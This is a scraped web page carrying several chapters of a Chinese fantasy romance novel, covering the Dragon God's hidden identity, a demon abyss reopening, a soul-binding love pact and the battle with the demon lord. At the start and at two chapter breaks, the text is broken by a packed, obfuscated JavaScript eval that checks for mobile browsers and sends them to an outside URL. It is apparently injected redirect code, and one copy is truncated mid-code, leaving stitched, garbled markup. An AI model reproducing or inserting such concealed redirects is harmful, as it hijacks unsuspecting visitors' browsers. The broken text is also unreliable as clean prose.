;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250337|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然捂住嘴巴:“不是吧……” 陆崖被他搞得一头雾水:“什么是不是的?” “我师兄醋劲那么大,他不会真的是龙神溯夜吧……”纪长怀此言一出,自己都被自己吓了一跳,“好像……还真的挺像这么一回事……” “咳咳……咳咳……咳……”陆崖又呛了一口茶,这次咳得撕心裂肺的,连嗓子都差点咳出来:“你就瞎猜吧。” “瞎猜是瞎猜,可是我觉得也有几分道理。”纪长怀歪着头,发挥着自己的想象力。 “当初在猎妖盟的时候我就觉得他不太对劲,猎妖盟猎妖取骨,几位大君知道了自然会去处置,他却非拉着师父自己出手,好像他是妖族大君一样,一个人就挑了整个猎妖盟……” “还有这次,翎天大人召集青崖的大妖,说是要给师父找面首。可我后来私下去问了出来的大妖们,他们都说我师父是在找什么人。舅舅,你想啊,我师父是西陵神女,按照话本里的故事,西陵神女一生挚爱龙神溯夜,肯定不是想挑什么面首。她找人,肯定是在找龙神溯夜的转世……这找人找到一半,就和师兄一起失踪了……这除非是找着人了……” “还有阿舅你……”纪长怀最后朝陆崖看过来:“阿舅你这见了羽族女君翎天都懒得过去打招呼,什么时候对一只普通的大妖这么退让,这婚约说作废就作废了。除非你自己知道自己踢到了铁板,惹到了惹不起的人……咱们妖界,若是有阿舅你都惹不起的人,不就只有青崖那一位了吗?” “行啊,长怀——”陆崖啧叹道:“想不到啊,你这脑子里也不全是水啊,连这也能猜到。不过此事机密,出你之口,入我之耳,不能再告诉其他人……这桩秘密关乎十五夜的命运……” 陆崖将杯中茶一饮而尽,又倒了一杯,意味深长地道:“长怀,三百多年前,你周岁时,我曾邀请龙神溯夜到青丘,想让他成为你的师父。虽然说他拒绝了我,但是这次在青丘,你阴差阳错成为他的师弟,你们二人虽然有摩擦,但他记得这桩旧事,传授了你一整套的剑法,算起来,你们也算有师徒之缘。他不曾对不起你,你也万不可做对不起他的事,否则,就算你是我外甥,我也绝不会轻饶了你。” “不是吧……” 见陆崖少见的认真,纪长怀一屁股坐在地上,脸色苍白,如丧考妣:“不会吧,不会吧,我不会真的猜对了吧……” 天啦! 他最讨厌的“师兄”就是他最崇拜的龙神溯夜,还是他阿舅三百年前给他找的“师父”…… 这世上还有比这更乌龙的事吗? 这一路上,他挖空了心思在师父面前争宠,给“师兄”各种使绊子,仇恨值刷得都爆表了。突然有人告诉他,你都白瞎了,那个人就是你从小到大最崇拜的偶像。 纪长怀欲哭无泪,他要刷偶像的好感度,不是得从负值开始刷起吧…… 他含泪控诉:“阿舅,有你这么坑外甥的吗?这么大的事情不早点说,呜呜呜……完啦,这下全完啦……” 忽然,一道冷峻的声音从门口传来:“纪长怀,你嘀咕什么呢?什么全完了?” 纪长怀转身,见十五夜不知什么时候出现在门口,他微微皱眉,露出不悦的神情。 纪长怀怵得扑通一声跪在地上:“师兄,我错了……” 十五夜挑着眉,今日的纪长怀有点不对劲,莫非吃错药了:“错哪儿了……” 纪长怀:“我不该和师兄抢师父……不对,我不该和师父抢师娘……” 噗—— 陆崖一口茶没喝完,直接喷了出来。 56. 第 56 章 这时,一名羽卫跌跌撞撞地跑了进来:“陆崖大人,不好,山底下出事了……” 陆崖连忙问道:“什么事?” 羽卫道:“我们女君刚刚得知消息,魔渊在青崖山下的白石滩出现了,据说……据说和当年西陵泽出现的魔渊差不多,不少魔族从深渊里爬出来,见人就杀,咱们妖族损失惨重。女君已经先行下山处置此事,已经派人通知虫神鳞昆和蛇神山岐,又让我通知兽神大人赶紧下山协助。女君说,如果不能尽快封印魔渊,恐怕三百年前西陵泽的战事又将重演——” 十五夜脸色一变,陆崖腾的一声站起,神情凝重:“魔渊再现,消息准确吗?” 羽卫道:“此事千真万确,如今大部队还没下山。山下大都是些实力不够上青崖而半路折返的大妖,被魔族打了一个措手不及,鸦族设在白石滩的据点也已经全军覆没,鸦族老妇人拼死才将战报送到女君面前。” 陆崖转头对羽卫道:“你去回报翎天,说我马上就到。” 羽卫应声去了。 陆崖又对纪长怀道:“你设法传讯给你母亲,说我的命令:魔渊再开,召集兽族所有精锐用最快的速度赶到青崖来。” 纪长怀知道此事非同小可,也匆匆忙忙离开。 这时,白骊珠也从外面走了进来,她的神情同样凝重:“我刚刚从翎天大人那边过来,按照鸦族的说法,山下已经惨不忍睹。翎天大人说,好在因为青崖寻宝一事,山上集中了不少有实力的大妖,翎天大人会将这些人组织起来,应该能够阻挡魔族的第一波攻势。只要不要让魔物冲出青崖,这次的危机就还在可控范围内……我们需要尽快下山和大家会合。” 白骊珠心中忧虑,她虽然没有亲眼见到白石滩的情况,但她刚刚恢复记忆,三百年前西陵泽妖魔大战的情景仍然历历在目。魔族天生的魔瘴之气对妖力低微的妖族而言,是接触就会死的剧毒。 这时,乌小孙和蓝鹊儿也已经得到消息,收拾好自己的东西,和众人会合,沿着来时的山道下山。一路上都是下山参战的大妖们,他们神情肃穆,自行组成一个个的战斗小队。 不久之前,这些人还因为龙神留下来的宝藏争得不可开交。在整个妖族的生死存亡面前,个体的恩怨情仇、生死存亡实在不足为道,不管之前有什么争斗或者过节,此时身为妖族的一分子,个个都服从女君翎天的调令,有条不紊地下山。 白骊珠一行人中有两位大君,自然比其他队伍速度更快,在第二天黄昏时赶到了白石滩,白骊珠也再次见到昨日分别的女君翎天。 翎天的梧桐宫是可以浮空飞行的宝物,比他们早到一日。 她已率领羽卫与魔族的先遣部队交战过一次,不分胜负,魔族部队退走之后,翎天命人打扫战场,救治伤者,将实力不足的人送出青崖,又将残兵聚集起来,准备应对即将到来的大战。 她一整晚没休息,双眼布满红色血丝,战甲之上的血痕也没来得及擦拭,听闻陆崖到了的消息,便命羽卫们请陆崖一行人到暂时驻扎的营地议事。 陆崖这一路下山也见了不少死伤,心中忧虑,此刻见到翎天,未及寒暄,便开门见山问道:“自从数万年前第一代龙神在西陵泽将魔族封印于里世界,魔渊入口一直只出现在西陵泽,不知这次为什么会出现在青崖?” 翎天面色沉重,她指了指青崖之顶,“此事我已有猜测,估计是与龙神有关。” 白骊珠和陆崖对视一眼,脸色一变,他们对此事也有所猜测,只是不敢确认。如果女君翎天同样如此认为,多半八九不离十了。 翎天叹息一声,继续道:“三百年前龙神失去龙神之心,生出血肉之心,随后西陵泽魔渊生变。今次……”她的目光在十五夜身上扫过,声音也变得艰涩起来:“这次也是如此……天道通过猎妖盟寻找龙神的计划失败,于是让魔渊再现。在整个妖界,只有龙神的力量才能最大限度地对付魔族。天道的最终目的,可能还是想要将龙神找出来。” 白骊珠问道:“找出来之后呢?” 翎天摇头道:“天威不可测,没有人知道。根据过往的经验来看,背离天道意志的人必将受到惩罚。” 空气沉默了。十五夜的脸色前所未有地凝重起来,比青崖上的风雪更冷数分,只有朝她看过来的时候,稍褪目中阴霾,透出少许的柔情。 白骊珠想着自己的心事,三百年前的记忆如潮水般涌上心头。三百年前,溯夜以龙神之心封印魔渊,之后独自回到青崖,她曾是那么的伤心。可是痛到极处时,她会想,反正他也不爱她,他们之间注定不会有好的结果。 如果这一次,命运还是无法改变,她还能接受和上次一样的结果吗? 想到这里,她的脸色苍白,手脚冰凉,如坠冰窟。 这时,一双手从后面搂住她,十五夜的声音轻轻响在她的耳畔:“骊珠,不要担心,不管发生什么,这次我也不会舍弃你一个人。” 白骊珠心知他是宽慰自己,点了点头,道:“不管发生什么,这次我们一起面对。” 翎天看着两人偎依在一起的画面,心中默默叹息,安慰众人道:“这两日我也没有见到魔主舍俱罗。目前鳞昆和山岐正率领大军赶来,水族诸部落知道消息,也在赶来青崖的路上,只要我们集妖界全力,未必不能重新封闭魔渊。眼下担心无用,大家还是好好休息,等援军到了再说吧……” 众人在青崖山脚安营扎寨,储存物资,准备应对魔族的攻势。 这几日自然算不上安宁,营地里羽卫来来回回传递着收集到的情报。 先是魔渊的范围扩大。 魔渊刚出现的时候,只有一口井大小,里面没有实质,唯有魔气凝聚出的紫色通道,不料一晚上的时间就蔓延到整个海滩。更糟糕的是,紫色的魔气污染了近海的海水,吞噬靠近的一切生灵,海浪也变成紫色,水中鱼虾尽皆死绝。 翎天派羽卫驾驶灵风船将一些伤员运回北陆,船只一下水,便被海水浸蚀,变成一堆碎片,船上的伤员全部被魔渊吞噬,只有那些实力强大的羽卫们勉强捡回一条命,但也受到魔气腐蚀,无法再战。 另一方面,受到魔气侵蚀的大妖们越来越多,翎天不得不下令将大妖们驻扎的营地迁往受魔气影响更小的山腰,尽管如此,病倒虚弱的大妖们仍然一日比一日多。 三日之后,翎天收到灵符传来的讯息,魔渊的范围已经扩大到整个青崖周围的外海,甚至连天空也被紫色的魔气遮蔽。虫神鳞昆、蛇神山岐以及纪长怀的母亲陆红瑶都率领本族人马支援青崖,可船只只要一驶入魔渊的范围便会消失。甚至连天空也已经沦陷,虫族派遣擅长飞翔的高手,试图冲破紫色的天幕,最终也以失败告终,他们用尽了各种方法,也无法寸进一步。 换言之,青崖已经与外面的世界完全隔绝,外面的人进不来,里面的人也出不去。 正一筹莫展之际,更坏的消息传来,蛰伏多日的魔主舍俱罗突然率军出现,包围了大妖们聚集的营地。 得知消息,十五夜再也按捺不住,抓起一柄长枪:“我去会会他——” 他还未走出营门,翎天和陆崖一左一右同时出手,抓住了他。翎天道:“十五夜,你现在不能出面,就由我和陆崖先出手,探探他的虚实。” 十五夜大怒:“陆崖,魔族大军压境,你知道我没办法坐视不管……只有龙神的力量才可以压制魔主,你和翎天根本都不是舍俱罗的对手——” 陆崖叹气:“龙神溯夜已经死了,这是妖界人人都知道的事实。如今妖界的主事者是羽族女君翎天,你现在跳出来是想在大家面前表演诈尸吗?再说了,三百年前女君曾用翎羽箭重创舍俱罗,有我在旁边掠阵,翎天也未必会输。” 陆崖将十五夜的手塞到白骊珠的手中,“白姑娘,虹鳞本是你的一部分,他无法反抗你。你先看住他——” 他提起兵器,跟在翎天后面走出营地。营地之外,驻守的大妖们已经和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263611|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔兵们短兵相接,到处都是鏖战的景象。 十五夜听着营地外的喊杀声、死伤士兵的哀嚎声,脸色渐渐转青,又慢慢从青转白,看上去就像一座凶神。 他是水族大君、妖界的战神,为妖界战斗早已刻进他的灵魂,又怎么能眼睁睁看着自己的子民死伤,自己却什么也做不了。 何况这次妖界的劫难,本来就是因为他而起。 他看着白骊珠,张了张唇,想要说些什么,又闭了嘴。 他了解创造他的母亲,天道不容许悖逆,不允许他的一切脱离命定的轨道。 三百年前,他不懂情爱,所以可以毫无顾忌地舍弃一切,抛下自己喜欢的人。而现在他已经得到了最炽烈的太阳,又怎么甘愿再次归于沉渊。 他已经承诺,这次不会再抛下她一个人。 …… 营地外的杀声越来越弱,风中弥散着咸湿腥臭的味道,那是海水中涌出的魔气,浸染了整座营地。有羽卫传回消息,命留守的人将伤员转移到离海更远的后方。 十五夜的神情越来越焦灼,想必前方战事失利,翎天才会做出这样的决定。 白骊珠再也忍耐不住,她放开十五夜的手,轻声道:“阿夜,你如果担心翎天大人和陆崖大人,就去帮他们吧。” 十五夜走了两步,终究心中不舍,回头道:“骊珠,我们结契吧。” 白骊珠一愣:“结契?结什么契?” 十五夜道:“你有没有听说过妖界有一种契约。如果大妖真心喜欢上某个人,可以立下心誓,从此不会违背和伤害自己的心上人,误伤也不可以。” 白骊珠不解:“可是,你本来也不会违背我,不会伤害我啊……” 十五夜摇头:“结契的过程中有一道重要的仪式,大妖会将自己的灵魂分出一缕,与爱人的命魂融合,这样即使大妖死了,只要灵魂没有彻底消亡,不管转世多少次,他仍然会爱上那个与他结下爱契之人。” 白骊珠心魂一震。十五夜会这么说,代表他也没有把握。 看着少女写满担忧的明澈眼神,十五夜叹了一口气,搂住她的腰身,轻声道:“天道不允许悖逆,这具‘傀’做成的躯壳就算再完美无缺,终究比不上真正的水晶龙躯。尽管我吸收了龙蛋里的妖能,实力仍不如当初。我们结契以后,如果我没有回来,转世后的我,也一定会找到你、爱上你,你能相信我吗?” 白骊珠嘴唇颤抖。 她知道如果同意结契,他很有可能不会再回来。可她不同意的话,他也无法放心离开。她强忍住眼角的湿意,靠在他怀里,轻声道:“好。” 龙神溯夜本是这妖界最高傲的人,如果他还有办法,一定不会对她说这样的话。 她可以对他做任何事,却不会阻止他做他想做的事。从她知道他是龙神溯夜的那天起,她就知道,他无法弃整个妖界于不顾。 他是妖界永恒的主君,而她不过是闯入他命局的一个意外。 她看着他起阵画咒,看着他胸口浮现出一小朵冰蓝色的幽焰,又看着那朵蓝色幽焰飞向她,在咒术的牵引下没入她的胸口,从此与她命魂相连。 末了,他低下头,嘴唇轻轻压上她如蔷薇花瓣一般失色的双唇。白骊珠闭上眼睛,承受着他的吻,享受着这难得的温存时刻。 一吻终了,十五夜轻轻放开她,看着少女苍白的娇靥,轻声恳求道:“骊珠,转世这种事虽然我经历过多次,但每次都是前尘尽忘,大概也算不上有经验。如果我转世之后,还是忘了一切。再次见到你的时候,又恢复成从前那个冷冰冰,不懂人间情爱的样子。可不可以多给我一点时间,不要那么快厌弃我……” 白骊珠再也忍不住,泪水夺眶而下:“我不会的……不管多少年,不管发生什么事,我都会等你回来……” 他拭去她眼角的泪痕,抱着她颤抖的身体,在她额头轻轻一吻:“好,你放心。我没那么容易认输,我一定会回来见你的。” 57. 第 57 章 黄昏。 白石滩。 紫色的魔气遮蔽天空,在天边绚美华光的映照下,显现出诡谲幽异的色彩。 翎天拄着神弓艰难站起,在她身边的海滩上,陆崖浑身是血,昏迷不醒。 她和陆崖联手,经过一日鏖战,也没有打败魔主舍俱罗,反而落得双双重伤的结局。她从箭囊里取出最后一支弓箭,但一身妖力都已耗尽,右手指骨已碎,再也拉不动手中神弓,只能眼睁睁看着舍俱罗一步一步慢慢走到她的面前,在离她三尺之处站定。 舍俱罗俯视手下败将,笑声猖狂:“哈哈,没有龙神的庇佑,你们妖族不过是一群乌合之众罢了,根本不配占据脚下的这片大陆。杀了你和陆崖,再渡海剿灭鳞昆和山岐。很快,这片美丽丰饶的土地就要归我魔族所有,我族子民从此不必生活在不见天日的地下,哈哈哈……” 翎天怒视来人,呸了一声:“魔物,痴心妄想——” 舍俱罗笑道:“成王败寇,自古如此。翎天大人就算再嘴硬,也改变不了你们妖类体格羸弱,不如我们魔族强大的事实。” 翎天冷哼一声:“那又如何,你们魔族不也敌不过龙神溯夜,几万年间不得不像蛇虫老鼠一样,在大地的裂缝里生存吗?” “是,若不是五万年前,龙神以一己之力,改变魔族大陆的移动轨迹,将我族封印于地底,我们早就是这片土地的主人。可他再强,也摆脱不了天道定下的法则,最后陨落在无妄雷劫之下吗?”舍俱罗发出阴沉的笑声,他再进一步,无面的脸上紫色烟雾愈加扭曲:“而你们,羽神翎天和兽神陆崖,今日注定殒命于此。” 舍俱罗手轻轻一抖,紫色的烟尘随风轻舞,如同有生命力一般向翎天袭去。翎天想要躲闪,可她再无一丝多余力气,紫色烟尘在她的外表生成一张紫色的薄膜,薄膜所过之处,翎天的肢体迅速僵硬石化,无法动弹。 她的舌头也开始打结,口齿不清:“舍……俱罗,你……做了……什么?” 舍俱罗哈哈一笑:“翎天,当年封魔井一箭之仇,本座可是记忆犹新。就这么一刀取你的性命太便宜你了,你中了我们魔族的秘药石肤之水,你不会死,只会化作一尊石像。我会让你亲眼见证我们魔族统治整片大陆,所有的妖族变成我族的奴隶,哈哈哈哈哈……” 他猖狂的笑声顺着海风远远传开,翎天的脸也已经被石肤之水彻底覆盖,五官全部失能,连一点声音也发不出来。翎天陷入深深的绝望当中,难道这就是她和陆崖的结局吗? 忽然,她听到一道极为浑厚又极为冷冽的声音:“舍俱罗,你做梦——” 翎天心中一个激灵,既是激动又是悲伤。 那是龙神溯夜的声音。 在妖界最黑暗之时,那个人终究还是站出来了,他能否力挽狂澜?可是这一切本来就是有人存心引他出面,等待他的命运又是如何呢? 紫色的海潮飞快地后退,露出清浅洁白的沙滩,海边的紫色浓雾也渐渐变得稀薄,魔主舍俱罗回头,只见一道银蓝色的身影缓缓出现在海滩之上。 那道身影是如此熟悉,以至于舍俱罗大惊失色:“龙神溯夜,你竟然没有死?” 龙神溯夜没死,这怎么可能呢?分明他打探得消息,龙神溯夜已死在无妄劫之下,这可是魔族万年一遇的杀出魔渊、占据整片妖族大陆的最好机会。他才会孤注一掷,率领大军杀出魔渊,打算彻底覆灭妖界,建立属于魔的国度。 龙神溯夜不答,手中长剑有如千钧之力,朝舍俱罗一剑劈来,舍俱罗身影幻化,手中出现一柄紫色魔枪,与溯夜在半空之中激斗起来。 打杀声渐渐远去,翎天觉得好像有人走到了她的身边,她表皮上的紫色薄膜缓缓溶解、消退,又感到有人替她按摩筋骨,过了好一会,她才重新恢复了视觉和听力,听到一个熟悉的声音:“翎天大人,您觉得怎么样了,能看得到我吗?” 翎天定神一看,原来是白骊珠。这个时候,见到白骊珠让人足堪宽慰,翎天问道:“白姑娘,是你救了我吗?” 白骊珠点头道:“是。溯夜说龙神之心的力量对付魔族有奇效,只是我以前不会使用。他教了我一些使用龙神之心力量的方法,我才能消解掉翎天大人身上的石肤之水。而且,我刚才试了一下,我似乎还能净化一些海边的魔气。” 听了这个消息,翎天也露出惊喜之色。如今,他们被围在白石滩孤立无援,便是因为海水都被魔气所覆盖,如果白骊珠能净化魔气,援军便能够进入青崖。如果能集全妖界之力,未必没有和魔族一战之力。 她虽然受伤未愈,仍然拿出妖界主事者应有的气魄,吩咐道:“我的羽卫大概还剩十几人,我让他们护送白姑娘你到海边魔气淤积的地方。之前大战时,我方战阵被舍俱罗击溃,战士们四散奔逃。如今有龙神出手对付舍俱罗,我去把还有一战之力的大妖们召集起来,和这些魔物们拼了——” 白骊珠点头道:“好。”她找了一处安全之地,将重伤昏迷的陆崖暂时安置。又扶着翎天,沿着白色的沙滩蹒跚而行。 白骊珠看着紫色的天空和到处倒落的尸体,有些感叹今夜的白石滩和三百年前西陵泽的情况是何其相似。 若是三百年前有人告诉她,三百年后她会和羽族女君并肩作战,她是绝对不会相信的。 她想着自己的心事,脚步也缓了下来,翎天问道:“白姑娘在想什么?” 白骊珠道:“翎天大人,我有一个问题,今天如果将龙神之心献祭,就可以封印魔渊,翎天大人还会做出和三百年前同样的选择吗?” 翎天摇了摇头,坚定道:“我不会。” “为什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276645|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“白姑娘,我知道三百年前的事,你不会原谅我。这三百年来,我一直都很后悔当年的事。” 翎天苦笑道:“其实,三百年前,我和妖族的很多人一样,视龙神溯夜为自己的偶像。我认为龙神无心无情,对所有的妖族都绝对公平,绝不会有任何徇私的行为,只会将守护妖界所有子民作为自己的责任。我以龙神为榜样,摒弃了自己的所有情感。我拒绝了那些对我有好感的大妖,没有伴侣,也没有子女。按照羽族传统,我需要从姐姐的两个女儿中选出一个作为我的继承人,我对待她们与其他的羽族子民并没有任何的区别……可是我在处理族内纠纷时,仍然会有一些倾向性,比如我会倾向于天性善良的族人,而厌弃那些总是惹事生非的族人,我喜欢那些长得好看的族人,而不喜欢那些长相丑陋之人……” “没有人说我的不是,因为大部分的人都和我有一样的想法,大家都喜欢善良好看的人,讨厌闯祸丑陋的人,而那些遭遇不公的人即使发声,也没有人听他们的。人人都说羽族女君是世界上最公正的人,可我知道自己不是。” “我为此事而苦恼。我认为只有像龙神一样无心无情的人,才能成为优秀称职的妖界领袖。三百年前的西陵泽,我第一次见到你,便十分喜欢你,并不愿意伤害你。但理智告诉我,牺牲你白骊珠,对整个妖界是代价最小的选择,才是妖界主事者应该做出的选择,龙神溯夜也一定会支持我的选择。” “西陵泽封魔的最后,龙神溯夜第二次舍弃龙神之心,选择救回你。在那一刻我才明白,我轻易舍弃的名之为‘爱’的能力,可能是龙神溯夜梦寐以求的。身为妖界的大君,我不如溯夜,甚至不如陆崖……”翎天道:“最少,陆崖知道自己想要什么,并为了那个目标一直在努力……” 白骊珠停下脚步:“我一直想,如果西陵泽的那一次魔渊再现是天道的意志,或许这一次也是一样。天道逼迫龙神溯夜出现,再次施以惩戒。”她面露忧色:“我很担心,如果天道坚持践行她的意志,反抗的结果可能会由整个妖界来承担。” 她看向白石滩那些随处可见的尸体,每一次龙神对天道意志的反抗,带来的都是妖界生灵的死亡,即使白骊珠并非多愁善感之人,心中也忍不住发怵。 她忍不住会想,如果那一年在濯水居相见,她没有对青君钟情,没有将他带回自己的小院照顾……如果青君没有爱上她,结果是不是会有所不同。 “这个问题我也想过了。如果是这样,这一次,我们就反抗到底。”翎天的声音在她耳边响起:“如果不是因为初代的龙神,妖界早就被魔气所吞噬。如果妖界注定被魔族覆灭,那也是妖界的因果,而不是龙神的过错。” 女君翎天抬首看天,神情傲然:“如果上天注定要覆灭整个妖界,咱们绝不能坐以待毙,就将这天掀翻好了——”